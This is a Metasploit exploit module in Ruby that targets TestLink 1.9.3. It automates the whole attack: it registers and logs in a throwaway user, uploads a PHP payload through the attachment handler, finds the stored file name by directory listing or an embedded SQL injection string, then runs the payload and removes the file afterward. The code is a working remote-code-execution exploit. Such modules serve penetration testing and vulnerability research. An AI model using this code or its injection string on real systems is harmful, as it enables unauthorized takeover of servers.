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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "TestLink v1.9.3 Arbitrary File Upload Vulnerability", 'Description'=> %q{ This module exploits a vulnerability in TestLink version 1.9.3 or prior. This application has an upload feature that allows any authenticated user to upload arbitrary files to the '/upload_area/nodes_hierarchy/' directory with a randomized file name. The file name can be retrieved from the database using SQL injection. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit ], 'References' => [ ['URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/'] #['OSVDB', ''], #['EDB', ''], ], 'Payload'=> { 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Aug 13 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/']) ], self.class) end def check base= target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" # retrieve software version from login page begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}login.php" }) return Exploit::CheckCode::Unknown if res.nil? return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="https://www.exploit-db.com/exploits/20500/[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/ return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/ return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def upload(base, fname, file) boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" data_post= "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n" data_post << "Content-Type: text/php\r\n" data_post << "\r\n" data_post << file data_post << "\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" data_post << "\r\n1048576\r\n" data_post << "--#{boundary}\r\n" res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{base}lib/attachments/attachmentupload.php", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data'=> data_post, 'cookie'=> datastore['COOKIE'], }) return res end def register(base, user, pass) res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{base}firstLogin.php", 'data'=> "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data", }) return res end def login(base, user, pass) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{base}login.php", 'data' => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login", 'cookie' => datastore['COOKIE'], }) return res end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@token}.php") else client.shell_command_token("rm #{@token}.php") end end def exploit base= target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" datastore['COOKIE'] = "PHPSESSID="+rand_text_alpha_lower(26)+";" # register an account user= rand_text_alphanumeric(rand(10)+6) print_status("#{@peer} - Registering user (#{user})") res = register(base, user, user) if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/ print_status("#{@peer} - Registered successfully") else print_error("#{@peer} - Registration failed") return end # login print_status("#{@peer} - Authenticating user (#{user})") res = login(base, user, user) if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/ print_status("#{@peer} - Authenticated successfully") else print_error("#{@peer} - Authentication failed") return end # set id and table name id= rand(1000)+1 table = 'nodes_hierarchy' print_status("#{@peer} - Setting id (#{id}) and table name (#{table})") begin res = send_request_cgi({ 'method'=> 'GET', 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 print_status("#{@peer} - Setting id and table name successfully") else print_error("#{@peer} - Setting id and table name failed") return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") return end # upload PHP payload to ./upload_area/nodes_hierarchy/[id]/ print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)") fname= rand_text_alphanumeric(rand(10)+6) + '.php' php= %Q|<?php #{payload.encoded} ?>| begin res= upload(base, fname, php) if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/ print_good("#{@peer} - File uploaded successfully") else print_error("#{@peer} - Uploading PHP payload failed") return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") return end # attempt to retrieve real file name from directory index print_status("#{@peer} - Retrieving real file name from directory index.") begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}upload_area/#{table}/#{id}/" }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 print_good("#{@peer} - Successfully retrieved file name (#{@token})") else print_error("#{@peer} - Could not retrieve file name from directory index.") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") return end # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}#{sqli}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 print_good("#{@peer} - Successfully retrieved file name (#{@token})") else print_error("#{@peer} - Could not retrieve file name from the database.") return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") return end end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (#{@token}.php)") begin send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") return end handler end end |
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